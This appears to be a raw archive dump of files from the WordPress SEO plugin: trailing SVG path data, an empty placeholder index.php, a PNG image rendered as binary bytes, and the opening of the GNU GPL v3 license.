1.06-1.93.34-3.89.68-5.87.93zm12.63-2.54l-.1.05c-1.42-3.78-2.92-8-4.23-11.92-.25-.72-.5-1.46-.73-2.15 4.69-1.83 8.84-3.35 13.38-5 1.42 5.76 2.27 10 2.75 12.67.31 1.68.47 2.7.52 3-3.76 1.22-7.28 2.29-11.58 3.35zm15.93-4.56c-.79.26-1.58.54-2.38.79 0-.57-.1-1.13-.16-1.7a112.39 112.39 0 0 0-2.24-14.37q5.64-2 11.34-3.73a100.76 100.76 0 0 1 1.17 16.28v.17c-2.56.89-5.14 1.73-7.72 2.56zm17.6-6.21c-1.72.6-3.21 1.15-4.81 1.73l-2.71 1-.1.15s-.39-14.62-.54-16.46c2.31-.69 5-1.51 8.16-2.18a50.28 50.28 0 0 1 .51 11 46.63 46.63 0 0 1-.5 4.76z"/><path fill="#a4286a" d="M378.33 392.16a7.43 7.43 0 0 0 1.21-5.26L376 362.08l9 2.11 1.27 15.61L398 361.85l-20.1-4.66a8.11 8.11 0 0 0-9.63 6l-5.12 22.11a8.12 8.12 0 0 0 6.06 9.73l1.71.39h.5a6.75 6.75 0 0 0 6.91-3.26zm29.07-28.01l-1.45 2.2-17 25.58a30.6 30.6 0 0 1-5 6.53l21.53 5 4-17.66 2.8-12.3a8.1 8.1 0 0 0-4.88-9.35z"/><path fill="#77b227" d="M403.9 355.8l-.33-.07-4.17 6.44-8.43 13-5.72 8.86-1.51-18.64-6.13-1.39 3.3 22.76a8.81 8.81 0 0 1-.56 4.49 8.49 8.49 0 0 1-.91 1.74 8 8 0 0 1-7.57 3.9l-1.11 5.21a11.52 11.52 0 0 0 8.66-1.51 32.49 32.49 0 0 0 8.49-9.51l17.58-26.63.08-.11.42-.65 4.25-6.44z"/><path fill="#fff" d="M403.6 354.32l-.58-.13-5 7.66-11.75 17.95-1.27-15.61-9-2.11 3.55 24.82a7.43 7.43 0 0 1-1.21 5.26 6.75 6.75 0 0 1-6.9 3.27h-.6l-1.78 7.7.64.17a13.05 13.05 0 0 0 10.38-1.44 33.51 33.51 0 0 0 8.9-9.93l17-25.58 1.45-2.2 5.15-7.75zm-24.18 46.28a11.52 11.52 0 0 1-8.66 1.51l1.11-5.21a8 8 0 0 0 7.57-3.9 8.49 8.49 0 0 0 .91-1.74 8.81 8.81 0 0 0 .56-4.49l-3.3-22.77 6.13 1.42 1.51 18.64 5.72-8.86 8.43-13 4.17-6.44.33.07 6.34 1.46-4.24 6.41-.42.65-.08.11-17.58 26.63a32.26 32.26 0 0 1-8.49 9.51z"/></svg>wordpress-seo/images/index.php000064400000000046147510273100012445 0ustar00<?php
/**
 * Nothing to see here.
 */
wordpress-seo/images/readability_analysis.png000064400000044167147510273100015543 0ustar00�PNG


IHDR�����`PLTE�����o��̷�Ӿ�ų鵌˴�Ҟ��f{jYS|%3ǹ���~��YOFB��a��k222w�����+F�����2;$>w6k�ƚ�צ���������:G�IDATx�ڱҝ G�eY�u�ϛ�߄x�[�	9�����?��YDLUMUYMV�4�dI��ГXJ�[�N���Z~��d�d9�ʺ��z��C`I{ۄ�l��X�٦��m���brQ�G�L.�<�ȭy�Z-��="�+�4t��9��ûf�[�3P|��8�I�s�&��Wu�����B���C���r�w�_T9��0�j��}��N��������~_�~�,�:@�q�wmS���cq���/�@�1�#Y�9�c�G�� ���,�� ��)�;��$��&^�Q�Ӂ9�G����w3T���x���ҋx3۟�>.����f�T\š0����+=It[m�Aט���Cm/��/�'���������U8z.��Bt��@�٩�t"��ǥ�+�X	=;O�D��ҳs�DT��[�g����,�y�q0��qDT�M��,��uDT�f��7U}���9L���[GD�i`k�*�y�#��T�5�(�>,��
�ś��>+�sDT�
W|�*b*>+�uDT�+��.*33����щ�,��Ku��z爨0��#t5h�^�]툨,��� �
�{t�o߻N�*��j~��(�f�C���N�<D��Q� ,]�7��s2l�JBD��71*�{����y�D���Xy��hTQ�fGS��"j��M2������<W"2l� ��Zz�z�JBD-6��2S��^�n��!3�"
��23���PW0"޼/���B�N�v%!�ڰ�MV�0oGKo\Ɉ��&[�X�p,uq�!�&��k��GJo]q���H�u�N�a�s�����m�*?h�����:�U�[zz�R7S>�#:��i��%�*(�YPe�DgӴ�-��v�(;t��rhxmW�r� �\y��2Avi��Y�+W
"j���v>N��>���|���Q}�ݞ��W��l���T:SUC�o�Q��z.}L.������#�{촮�+�)��s6_�1�_�j�����ݶ�Vi~{/�+
s�I��.c��Ԣ����{t3������{6�?��X�:�r�&��>�p���i|=�t!R�"Q=<�����e<�i�K
���g���q�b�_�+5�s��e�l���*�_��`IQe	�8j�eD3J$��?��[�$T�YL9��~�sDz��?�Z!�e����nJ�'��N��m_�%�� "cGD��a��r����5����3���|������y�I߀��)���j\�퍔�ez�dñ#�_���^f;J�-�p�Y��L�������=C���4������ڧ�}.�+o�7:���+�@�}z�{w�/���P���g�y�>@�o�:/��}�����7үy�^Z���_�U����D\���f~���Hϥ���E<UO�b斷
tY��_b�O}
�'�:K'��C����=.�_���t��J�
)����}�y(Z��0ϷZ�6ӯ)�}��ʝ�Z����>�'j�E��ԅ~{��[��5�~}� ����G�y��p1lC�����GE�� ���#�e�g�ϥ��ߡ_}��R��sdH6tD�cK���>��1�B��GI�:G:�G�hx,NK��z���z��D�0���vz,=���_�����šk���P�)݂TX���j����l�������E�Zz��i�Ͻ��5A\�(b���D�.X(J�(�dՓ��/�����;7o�D�D4B�f��/������-������!7nw�M��
�KW��c����^�ϼ/���2�SZ��{<j�lDtV��
lG,�B/�fZ��d��<�e�D4(�^���<�_�>]�@/f���Źk���R}�m�}>��:̩��g�C����Љ���a7t���'o���
t���2;^�ЉhTX��m��Z�d�R:�ͷ��U�j�:�4��D!Ց��n�F������ܓ��9��9�ND����cg�}6�
]�%!�k����\�֠�0�g㮫�h��<
R�*
':�:*�B�&�n߼x��O;u�Q�x]��D'��kn�sN�^��!�p}�Y��u]��B�Љhp�a7tH,=~����s躺l�
}�G*[�B'�bt�f����#��'��v%�s8���k��Fkyg�ö*���_�]��'��~�,��f��1�V�Vd����έl���X���C'��Ȫ]�C����o�)�I�C�-���ND�0��dخj�)�=�{�8���E�.t"E�>��j��S��%���X��Q�~芸r��Ï�(,�+�����Q"����ЫC�����[�MC'�C<+���_C~,����U��y�Љ�C�������4m�\�Z��/�щZ,[lBG��Z����f͕�
F�d��u�D])�Cը�n�Ԋ��P-��y�/T%����Q��ӏ�z��ȟ!s�t����Qd�[S�����wO�U:Ǔ����;Wm:
���y�[����<�6��Ҹ�~ֽ=�6_�BDG)�c�,�������������N�G;��6
��Nze��W���8�S�Z��C-tm:�K���7)��a{J���<K]��P:Z�ND���t�O���H��2uC�'�c�� t":�@ˤ��t�
oX��t�M/���iPc䑯�Q��{Έ��=�{_��*]�7vݰ��'f8vD�w%[�Ǒ�z�I��ٛu^s�Ρ󰉡#����Gs�jB��th?�O��u7q��olnW>D����eZJ4�S\��w7ǎ�����y���C�'��*��i:v���U�D\�C�雋���T�XB_���d:QۿPݎ�m�ѻ�t�o�5�;�a��n	}���.��7�ޓy���~��tߔ���v�?7���K��Љ��*��\�6����`u�|����0|8����mN�����7�m��?���?��9u�{g���m��_�Ɋ���Y�|Q��`�0��M���Su6F�u�����#D]7
�J@�hME�&��D�]��5 ��;��;"���+�-��K@�K$��]��Gpn3/�Ct͉���~�Z���[l?+�����=/8�Jx*�S"dz)ѩ�3oE�4M-�hD�J)��ֹi��Ia�o�d���#:.�N;�O�e��NN.4�i7�T፵f���K)�ۋ�v_��z��a�k<.m�������ru9��n�8��q�B�L�9�1ݥ���8��.����@q�M�o��E��U�JW>y�gRt4�&�.�]�a+*:����i9ƕ�3k��&�n�;[��B��HE�ɑ�z�4�D�]"�Y^R�Lfi��7�l�[Q��RGD'�;d�D�=�Ҁ(@��P�Opl�'D/4��B��a�Ӻ����t
������q�S���ҿE���T�hq��:۶��^�{P��S�t��
��R��
��ݻ�_�_ͪ�X�B̼�n��<��G���;;At[D/Kq�Ҵ�ڳ����Ht�)b�OR_u�Ɯ�PhZ�,��ۍ��(�;E�֞zɽPcn
�IU*��E����|*�v0�?�Qӽ�ױ�
Xw��Q�Hn�Q�-�Ϋo ��^6�1�:�������U�¯z���X�5��oU�׍i���d��:/��8��S1�l��
r��'���+��Y�x�����+%q�h���* ��2=L���L'6�pAe*���H؟n�|�zW��dt��O�\�Hށ�6�>�i��G�ˀ;�\a񙈮��jD�瀮�p>���NгD�4�ɩIئkZ3;n؈n{� �iO�5i�!:����Tq���9X�����A@n�8m����2c1�:�Xis�����:U�ƨ��.��q��?��N��S�/��/z7�Ms�V�d7x�%Dw}]-�])sB��Up���'��2~���]����߾�D�w���3�ۭkN'9�
�5�X���U�Wn����^�_�g�?!hb=�r�"��s�Cto�����ڜA���#���!�d!�*�y�<"�)��	����V��c�qM�C�>�3=G�D���S�PN؊b�����&Nt�}��jMݻ�;�Ѳ�vF����m����q�C�c}��=B���S�vT�3���c].�|�+���N&z��Z����2�o<�ja�^�Bex>^��vNt ����[�������mB��tƝ��R,�y��t>��G��!-�~�L�2w"���a2,GH7S�qۘ}sۭO�q�‰��pR�L��yh�G�^WI.�o6/:��0c�Ժ��]��b�C0��Dt�`���׽��ǯ��Py�~�^�6�Zb�\oa��nC�"�Z.gy����I���BNGN�tV��y��ѩ�se�`G7(.�����|͈���Ǐ{SN��g0hF�隊�>�S��l7��AB�y4GM��U&<n�V:|N��2��Q]��q�
'�<�7��'L�o��U&�c����<�?O�o����C���phA���?Pf����N}!{/��
����sL��FnDi�0��CFs���l���@�Ņ���bn#H1k�rZ���o��l=����x�eU8þ1;�]y�q�}�8���7U6� ��|3=���q�D�*���Alv�Ȼ����GҰ�;W�/z_��&o��D��t�]����
�C�	֘
�C����/����5�}����;����譜h�\��xѻ�pF�y��N��0D�_¹�����\���H�z���
R���_�����Zť�ă�M<Ɔ\]��p\?�r�����q��o@k��c͇G�����O8Y�ew��p��!E5� z�7V��o*<ŒݰpǴ�{T�Od����˪�)ɉ�x��C�̱����ƈ�c�f����R����������_��K�#���in���^)ͣ���S�W��>u�Y(� i@��`��K��Es���׉*��x�Ŭv�_1I���t�S�dVNm'p����WѕT!���M)�t��(��g����%9JӘ��]ocC,�P}�Kb�,����Q
#�D]zx���-�0}��-���
+pm����V4�(�$q���in�mm�1���P��6U�c����݉�k�v��M�E�rۦEw�r�~��P<��l���h2���w/��GG'�D��>C�)8�	_FuC�^����4��0r�<��Q�G�$�y���ϲ�O�ѿ>#M�=̬}{.?�
^t�>h���"�}roxw���S�!��nBikBt�$�c��r��Qx�
�7MSD?1��|�n�m�y�}�>�ew�=�׋�w�gz(Z��6��i�a�u��V�o匔�p��v��>���}�I��zu]7��U�+�l@׸
f���p�ϼ��ဎu�k�q���1
[���	���A�i��ϢU�����{'zg��Et�~iÅ��?�uCE�U�/?A�d��q
�#ȯ!����YtQ}���r��C�z��M���rl�ܸUy��ơ	{Zt�ν�����.�λg�*F�O���t�<�8��/���1A��'�J0����r�|�E4"��H�^=��(�.���Q�\�kj��\D4D�kU��4�簛*�7�%e���͗�}0�c�
��}�ы>^�?Ot#g>���GZL�!zˉ.��3��]=p%��$u���e�'�;��#ugOR�׹^�ϐ�~(w��x�_��/�����ۻ7MS?kS7-F��dw�Cs��+���u��#sG/g���L��/]W$��,�R���}�|x���]��*��0\��8��>���;��
�W1p��ei���f��Κ���i�]"a�����nf�/A�+:�߫—�����G����8�e�|-�+p(w����G��u��cn��;�H�.��̖�X��Jx�L��B�v�N)��w?��w�9zs�V�/��tw	4�<����g�XAށ_�]���JN�xۣ��`4px���=�����o�um\'ӊ��}]mW�GD=O>�B��3��.�S��q&���yIσ��P�����sƱ�͒�0kͩM��Z�,'����럓m��~_M-K���T��ʐ
��M�5F�x_/���h�>�X˯����)i��ֹ8,�J��H*�d;�����D���=I]˿2�g���:-����o�]��W�q�_�a\^)����NM����3j�n�Qi&Vt�"ѡ���չ~�&
(��+	�|�΋N�c�w����=�?'��o�U�e�y���{�?����E	�Wn۾(�\�|@�N=�g�����(b�+�o ~Ϝ<��s���/�\�XtT���H�N���JE/����-�i��9ɚ}���q����s8y
H��D�o��ƢOTt��	`˜�iы�%��/��::�`m}�AJ�9�+�}lz�GYn��r4R���y�]$��]��ό nӵ8":�b�6�~���P�b��j�P��ʹ�"�om���:�%��Ӣ�Oɐr�_��oq�ך�|��ѯ�q��{-�y��Tt`���۝���.-:V�S���=�����<�yh���s<�6��{�]�R�WX� N0�f}R��I��,���^�K@O~�]�R9�z>ۑm���K<��&�Y���*pTv"ym�t�.��`d�h^f�l�NE_��c<
���`�2���1�ˁ\����v,�]I���Ht����[�q�#z]��@E��x*�F7H�~6���a�y���r�����o���r ��K$z�`6�[i��������g�O*�|IT���]D�r��K��8v29/z������DW�
^t2G��ɋHk�K8/��p�͋ο���7������~xA�́ܽ����`�N�Ƕ;�!�^�ޭ��z��I΋~�p^:���/:�w0�`��,~��׼p=?w7�����퇢;�r�*�n�!�N4��|ѫ�B	��[�Ɠ�˩�a���ù;h2T��,Z>PK2m��DG}�%[�2Wt�6ED�R�q-�]K@Od�FD�m�z�&5x������h~)wo��E6D]�z�v��E�����'D��%D7d�޶�np��W�%sJ]D/��Ӣ���V��~C
��I�����Q|�y3��8�P�ޮ�g��Ԍ#526_t��*O����i��ҙ;�莯���7��e�ӛ�zN��7ŁL��l��&r�薈.�}t�+:z�̢�"	Jd��:%�1��C��d�m��;�>��=�����ӮK�2-���iwnG_d,���r�p�M����LW��'(�{,��F��7��
7���@t�d��F%�e�l_�:IE�Ds#�t���-[���Q��ݕ����_���9�Z��J@�����#:6خ/K�ɺ{+=G]��9y���� Y'���_�Ew^��O��wܨ�N<5��|<;P���ʐ�ܹ�8r�:�7�$�����=Ar��_R��%2NBt�xѝ�x�0��ѥ��_�^��=������Wᦪ3R��%2���YRu��'�/,�!�۳d���MT��n���l�m��O�@�����8�U�t����Dt��9�c'�uA���S{�eWÉ��E7��5�Nq=DO�nW�M�Q:�����:!���������k���/��*:�7Kv�2��`�q�����m�Xt`�3%���uv,�
#����GE�u����D���JA�L۩�Ҵ�� ǵf�r��[F����]��y��;�w�C	�	J�o	���s���.��8I�Ժ{~�:��>+��4^��Z��_hϩ����1�7]�p�KApj�H�S�S��z�^\3Ë�������n���T�>`��p�嶍$�]�����̝,��M��
��$�eU� _t&�����q���^<<W����y@��K8Ϥ�e6s'ߩ�����H�g��u��Uw`D�,3�ϙ��L7lB�vbD����k�1uHsp��_J8ϣp٫�	�Ew��+�c���ڳ�d�1BL�si�β��f�#��*<�����^sp����(�ʳ��]S�c�ٷ���r�Dm��6F�۾wT��4��g�i���]ZNsDtU�1J�ꊀ͋��+:����^ܯ�.�<�ӶK�cH��R��r�%W�@�%z�^s��%��d�E���!]���5��.�&�sv��xhsD�n���M7�v�e4�bܽ��<
C,:����@k��蚬�y.�
��s��O��T��@����E�|�5��CD�׼P2���]㚈�Ӯ��q���n,cDo�PBt�픇�Eo.e������#�j�g��^t�����謒-D7�n�{;s#�cE�{��q�\��x���@��ψө��I��y�ᣗ��Sט�[�H	�-;��n�L$+��{�*�wZ���)�#s���E_����$=O���`��E�5g�!����ּ��jO4��.��):Yt��E�=Gr�	CGD7n��݁9.:[C;�yd��]�p�A�1E�]����I�����5�]��9��nr#z;q��{X�"z	�(S�Iѡ��� �_��
Ttv�>�c9
��M��d����]3e9���L��e	癔͵�=_t�,����?�EG����=�s���
�zOˉ��Cd��7��_=N��C��I�n�K'E�)�����I�p<����`�܉� :�[�cP=js�k�����yfD_�Ba�Sth��]�^S�	{N����<����n�g �����#ѝQ��I��ۏNxh\nD���/Q�����=���)�u��~_�"?��"5���O�cї��ȹi���{�nTG0쵀��V		w8NK���oy��I�]X �q��.��{������k�R��٢'�	:�t�w��?�BЋ���P�n��= ��WM�4t�����H/9�O'�
}��\�-zz<��i��\�{yV��TN���=(������#sq�j�va��.�vi�����C�V�3N�>�Nm-��|r��P��u����x≮�@�o�]]ƹ��EOB��s^Klҏf�Q��|i�.�{�J@7���|̼�O�{�� -K���gq�OB��ؤӟ<�OSN��@󝊠����L�vF��z$���I�,e|�����㩟\���S�SNM"w
��r�	]�ʯ���?��̓�S��p��,�����_���r�<�skn����o���Еr�h'�5�-���R�'Zn/�EBC�?�����<.o�mvdۏ���R�`��Ĝ�V�+���ԧ��x���i�^��a�2��W�ъ_��^����L?*�j9��O:�}�H?�+!�S�ٍُ���l	t*:]S&zy��$�?�-�.Л͐��ݜ�g�o���-�C�a�!�$�+�ġ{�nj��x�Q3fr���V���+0c�^׫��k���IR�:��LBO�tM�%^�I��r�'�Q�UU+��:�oK��S�l�N��>,J�C��$��D-ƿ�%�?=�)�������>ڤ�e4ex�T��e�p:q���/X�S��d�$������;�#~a���S�_��o�����6�OA��3����n�څ�*�Iґ�]��.�N���}+��O�fo�1儖�{���'K(M>�^|of|�����r]�=tπ~<~�mn7�T�s����ӣ}_�4Гgqh���{����� J[e5�.�*���$����7=��9�X����'r��X.��
t�a:ݸ�Щ�v���C"I*���fA�h��_�~��c唶	��(G�܁nü��0Q��Ϥ���T��!�$�-z�G�&9��(�޴��f�W�Zpd�D�:��gC�3�&xy��YyH%IU��?t硿{P�sf	�vօ`�=���Tjɺ!LWT�ڽ]>����:�ק�,ڇ���D}"pa]~�ߕ2S��EXTL��M��T3����H�>�������N�[A��/^����Y���� I�A0?��1�a�*䜗>�N�7�j
��z��Io]�
�YIR��=�N�jHt���:.ݢ�e�Nէs��ڟ�tdݙ�e�}Q��{�s�9��w
ob�
]_����J:Ȫ]�Y�#�M�Zߘ#8^~�ݷu7W�f�g'z���1�)�ewC��jj�?t'������_c��::{	��D7��,�:J�j��YЅ��=��}(�A�	�1�t+Q�z��sx�3n~qs���<}o��ڥ����$��3����?̪;
�;�┛�n1}�����Ȝ�kY�K?�{_~4�6	�&W�D߾�a�tt@�<
�N��)��;b���\ڰ#su�F�v�z{(�Y����QYC%�s���ѷ�Hh�d^VT��]V��NУ�@���_oo�����H���ܧ&�ߟ��O,�\;���o����'1���tR�G�y�޾��Ĺ�;��Ԛ�P)��������]��o���}��y�����9I�7t:a�'�AS��~.09d?y:��f@�6���
�F�b��7��ׄ��y�z�P;�9I��>4
1q�;]�eݏ��ɆQ^_�|��fdվor���}�S��Kk�=�˛�`�!��x��8�:���L�d��d�7��0��x��%���~h�z%&5�Z%�s�^?��$=�ּ�6��r̴��S�!}Ԟ	]�K�C����101�q�-����w6�E'��G��;ٜ?5���a�v|���^�i�����w�0
a�;VY�'��L�@7��)�U���k�Sc�M�N�k�;S��g�ȳ��jtٜ?7��G[&��%�T���Ws�Ð=)��܅;5^'D��	���C:sI�'F{�0��3q!�
ü�2�.��Ώ��F_��5� ��y�{+��'%��|�r���ۍ�2�AW�画{�s'�m��5����B2sI�7�Z���$#�0�c��anj�<>378w�N��ijm��5v��e�Л��sI*������?<t^{�r
�oH�u��|pm�D���s�Su�B����
��֦/��KRYT�o�>	=���/AS���EE_���S�_�N�tf�x�Rt}��|�q�U�#���g���Ҿ����_4�燱��>�rykw�:$i9q2~Sb��'�����ԜTzj���B��r<����63��џÐ[zb���]�Ee#Х5k��v��٩��{	���;���m&zy8���KR���+���m���)�@GL�t�Ul9ыÁ�W�9IR�yj��tv��
��[�.1����V����fC��BQ�ڏ���_�8V�&Ȗ���Cj��2���Ԭ^�?�$�)0Gz��OC�j=t7q��z��70'�]y��$�<-�y��oR#�-{��N�nsAo�+I*+�����[-�{fn�9t�#}6s��VOs���$B\8���OA�N;<����>���&�j�gU�o^�&�n�N�A�Q��M콬�L�gSWay~��{�>�n��Hws�9U��T}��(�y���<�:�
t`����q�RΗϜ�N��9�p3.�'��[���1��&��$�Y�W[�.��폴�0�	|��K#�'Xǵ�͐
9����]z���/s^R��>H2��4���؝��?����0��S#Ӈp���~CI�����ڝG$$�^H'�Q�3ͭICO�t�s����SEu�d;�f<�Q��M.,̃9��������Xl�9g�WE1,���^R�r�K�C��O��?��Y}�a�[�`�c�	s����s���G�)��qf�����F3�=9��5L)�'�
�do�?v�t��9�&�5��O��d\�K/��>X� :{{:tg�T�=�i�F�漇d�.e��w�����}�uv�sv��:?�w�^$)�����G��f�Y��*莜��г_�*ɪ}�
tX݅�<{����p�=^�ׯ�\�q��_W?��v���ЁbG��~��3�d��粅��f_HO<��%�-��&�=�[-�s���y������1�ax�g�e������e�K;T�����F�}X�S��S�r��e��Ժ��͹���g�qDe�{�
tv	
=��{7�&�j�|�󺿩�k�K�"<�[
]�]R��u��[�>�]Ŭڣd�&�s�2��C��Gh��S��:!A���'�SsI����2���0��)���|�_t�.�s�1l���J��|�A%�u|�O&�si���V���p?g1
��GЋ�U�t��\��:�y�=�ގXV_m
���%qN[���v٠OAw�"握���C]6��6U�0��(tgf@W��VL+Fz��$/?����R�i�g@_7�es.%*�c�_ݛt�Ìp�s�^�9�$������)�~�V���p����%�zE�_�7���.�$�s��>�
��nq�s��Ћ�>L_J�g.I�W��n���[��(2Ê�~@}��$U/6�)���L��V��6��j2�	=�\�ʗt�,<|�a�,���5�@Ǣ����z
sIr�x؎k����z�N��̋���Vl�%�|E���n�5���yt�5����ٹ.�s�u����aˡ���z�`���y
����Y�K2�VW�A7T� gB/����z_�3����;�I+�{F߷�� ����$+w�I���^�q@n�dK���N����xWI*_�9���Ar\:b>3�s�f�щfCw�钮�B�7=�Q���[��;v���[� �ˡ�9��j�;
����P�M�%Y�c�X�ur.:BCk��aih��N��_�mu�B6��Ε�ǜ��9�#tbN��Ps�Ӗ͹�w��ĺ_�\�5z�$��cNA�Hߟ�$)K<w��a�\�jo�V���gN5�s�`܇�$����pG�@�̋bno��ft,+�&��9�ua.��N��wz�^W���+0�Q{@w���ߓ�
��9/]Ok9��v��wl�pw���n��� *�ͺ��>�4	�I�t#��'&� �ν���}w��3�s�͒TX\�>����Y���;�����*;�ځ�u�����[wC��f�� ���wm�BǢJU��
a�C	t
�t�:�]�ni�>_��gA:V5�4��0���[���@�@�F�a{^����t�����`
=9̙�{'���L�GϷaL_�����#���n�cw���S��:.攥�.�sie�
�S�p���`��鎿�7s���ݗC��Щ�"ޓrv�'Fz+�viMe1�Wڹ�_�{�ߗ��}�;�!<w��S��E���%{r�^�wq�],���޺���z�e���kB�ju�e�Q}:�es.ͯ$�U��]���;:��~K��߾�]���(����Dk�F6�R�:=Ozi��z���<�eN�Z=�$O�z�zC���\�S��.���Ab���߃t�cf�jg�t쟡����&�y"���5�s-�s��Ao�rOO&���foZ��,�ә��\�4��߫���M�0���z�H/����i>�	v�YC?��7��=������O��(��$��R�K��ud��$ltl�
-��s��5�4t����
=�J���%r���_6`uz׌����@NȆ>8&ta.�ˌ��_6�ft��l��;������4tHA�x�z;q�.�3�T�������4҇b�K���(7C9e!Le1��gB�Y�s�xȜ�7��Z
�&c��Q>͜z�f4~:��^���95��
��ni�S$���0ΆGaZ9e`R�ד��v�~�SY�V̺<WgR�t�Ĥ�'��m�@78c����鍸�.L�^��t_����eY��&S6'�A��"��L�
��4���=��i�� �@_f������%��tk:7>�v�3��0������$�;�C9�בn̗t`�ϒ��
�8��T����NC/D�s蔂u�tn�A~��/��+��
�sw��<آ��v�ʩ��3��j� ҥ��{^�r���h���>Ʉ=	t�C�Nf]\#�S�&G9���O����l�"�NՋ�:r�i�J�!��k��N)3c����6���+w!����˃�$�_Ժg�]5�W�fF��3Zg���d�O��>�_�r/�"�G��I���u�uך�Ż��xS�w�qn�ڗ���}z�f����E�T=G�g��Ho.Л�C�+0�U�G�}p��$tw䯭	ti犯���u�@��޵msf>�C:¾��069�}�o�~�����;$��>�w,t�� ̊N�?�u#�Z���2б��yq8p�C8HRYQ�I=�⢑�����&���ݯ����ݜ�%�*	].������;�[��6�I���J����c_��+tK�Y�(�]F���.�;~���0G���/ލ
�5e�?���yy��ӹ��.IE��); �F]��!�C*��Ra����{���<�y��W��y�P��x2�)5c�{n��چ�9�B�t�Cz��`��k�y�ɰ(BQ���a\��.
U/.��C���u�ȫY�y��Ãz�~y�3�����w�Ჸ�Pp��SMt�.�k��ާ+��SM�4�n�F7!'�9�~end��Boz�7�>b^�Í�dª�ޛ�8Z�t+��x�d�N�G9��n���婰-��Bgc��Ît���y5/,���ϯ!�輭����i��J��Q���挼�@Wa׼k�6*���Їo�q�QQ��WEY�mCo�,�%��%����lw�ط:�bH��#�]��������u�Xē�#f�&�����иJ��6����<�m�k��+��\S����t�V�r
C���tI-D���G�,m�.�H�@)w���74]��%:����|��VT ~�׋��Q��NB���z����vEoS=��+��u��m�cy{���ޛ.%\��<�Ub�^#� s���ux�ܕyGm= �b��x�>��5r���W�}Ѝ1z8�k���<b���d�(:T���qp4�1�ҝ����H��z3@n�Y��v�vq[Ntf��o�����h�����^>�&�6�]�m���⼽B?m�$�xQ��[�&:�s8��,�>��a��8��ɡ���R��2Zz��i�7�K6"s��<�F��-�i�w�ݚQVaxbee��μ2qp}p<��ӛ�,�b�E��Э�A:���M�=�yU�����U|@���at�$�����b���yF�.��ETc�]և�TT�ڽ��s�s��DoO�ɻD	���Q�/6�i��/�����	���3�B�.�%���N�]�����伲����Z�ê�		:�A�@��*^�9EЛ3*ä5�=�`lj>�9����N�.���$�����F�nz�澶S��s���	�y���u|Hw]��I/�?�̙��c��uӥ��q�C��f�7�T��������K����d�^ۼ���ZKohǮ�$�7�=��j����멻�k��u�dI��d�^��Lw�ھ��>wݱ�]��+���)h;&��2��7��0tw��~�[�r�M���X������k�k��O��^���λ�z���� ��v����9~ݹ?7Iv�N�ͭi�n�0�?��/�����ǥ�gHLj9U�ەws:5�3�I�t�_�?��Z]��ɤr�@6�3���˓�4-�����"
Ws��&�O�z���&���s��!�$iWN?������|���}�
�i._�f�!�=�[�m7�������y�?�‡�+�Mr�?:c��'+w�&�ƺ1�6���\
���UC��Y��
�CNA7���t��}�g�$/�^Ʉ��;��&	�!�b��l�m��>ug���ݿȧ':�}L�]1ȹ
:�I���ŕy���k�oBy��~	tP��3$m�S�5�Ƀ~3G�3܁ִ20�t�{��;��!��:yu:�?:NƼ��,�lm�4�j�Ѷ���^����m���ǃ�M��ڽ���Gv�N�C=L���
���w���z��k"g4��C/��g�?Й�`Mު=#�^���ig�Ïx�i]�Z��7q��w�#�}z�>����|M�%Gz�,�t�ʻ!M���~ O��$���:�Ro��ib�ˡ��SV��qm�Y{>tnk�c���}�z>v��ڛ�NC�z�zY1��^~m�����WF-����ޑ,�%��ց/��h��g������DGq]	�x�IJd��QzB�����,���܆�ξ�����t_2�U��(q���ͷ��$��k�������5k=�M�t^�R4�mm�6+^Qn�_I��zÌ��m:�g�tP
�S�b׬x�*zh:����w8�J�_����E*t�w3t��0��ݣ�+x~��~���B��
]ߵS�$�~���&�&� �a�S�h���*3t�}D'��RM�<�}X�׾���MW�_�e�t���{�������܉-�M`�����p���{�솄�A�k<?�)�%ws'�4WX��ڏ%UW:A��P��8����})}���y�;��_��ˮB��ҵ+�}�H_������T�}i�^T�U�8�����4��m��U��́Nt��d>�t�8���KG���m��>gtb��^��[�������k��֡�2o�*
���Nbk�W�?%t���:n�3�(��| �a�D�o
S�����!=z_1��H�!��8�ëz���Z��9�:�}�y,�)vղ�����_Zo�y�@��b�G�;��wN4w������ʋ^bߪ]��o�)�6�:�U�657�m׺:�W3��>�y����ca:��_�N�s�G���u��u�!}�ꜘ����I������]j�}��(~w�|�{?�]Ƞ�7X��CJ���k>�SV�DՅ�n�LȀ��>pM'G�ۅ>�T��k�A4	�<������z��G���#y�L�elV�Z0�cy_��L}��c~`��?�/��bO�,ti�t�@�CB?�,��S�����)s^_��x֩x����#}���"2�ʉ�o��%�q�::Q��׻������Y�����}��	}��ݝBDY�tv���N�g�2 �q�|*t�6w����nr^��wϐ�j�s���~���:3�ס��#:��Z���3dt$uk�;ito�OF���s#�w�{C�J)J�7F]8��1'�%�V����
%7s��s�O��4�O;C7�B�E��[?'C'6����n����v�=]��^����s�K��t�.�p�D�m�ˣ������Gu��`�W���̉�L�3s7���C�vN\����BE�,)�K�����T{>'[;@�]����<e.��#���}H;�er�����x�Ƈ���|��i�[;��]�t��>�]�q*���q��$;v
��	fcw��u�ܵTl�J���ЅL��tW=�m��CorC��]^�k�!]�
�pk��jsӅ��_c�m��X�������*sh�NR��Z��s�rb#���s�W�}��̉����r�xd҇�ϓ�b���zA(� �����E����}HP2{k@��W�_���-�9�� �G�5p���y�&;s\���3z��\סJ�t֔�w�5�����W^0�7F�b��}�2o����D�
�];2o:�&�u��<���;H�3d�3b�D%ww���=@��	�%ww���9@��нhF����Ȝ��‰vLjw[{{�̟�L��cko
��:t#
��@��C�����7�&����.���Ȝ��׈�R�Uu�3@��5]N�����T�K�m�ЧD�y�ȼ}�$$ww���1@�D>=�#=��V	p6�݊�lrwW��*_7�=<;�P|H������#=hl��[��
]�C���`ko�9���O��T�3@�$<e��K������
�x^�$�:�t
]?a��s
]7}z=㐾7stN�B�7�����[tNT���t���[~��p̼��C7�!�I��C㈥У�{0��k
���Н+8�#s�C:�n�_�9��qw��2���5�CIEND�B`�wordpress-seo/license.txt000064400000101047147510273100011546 0ustar00                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
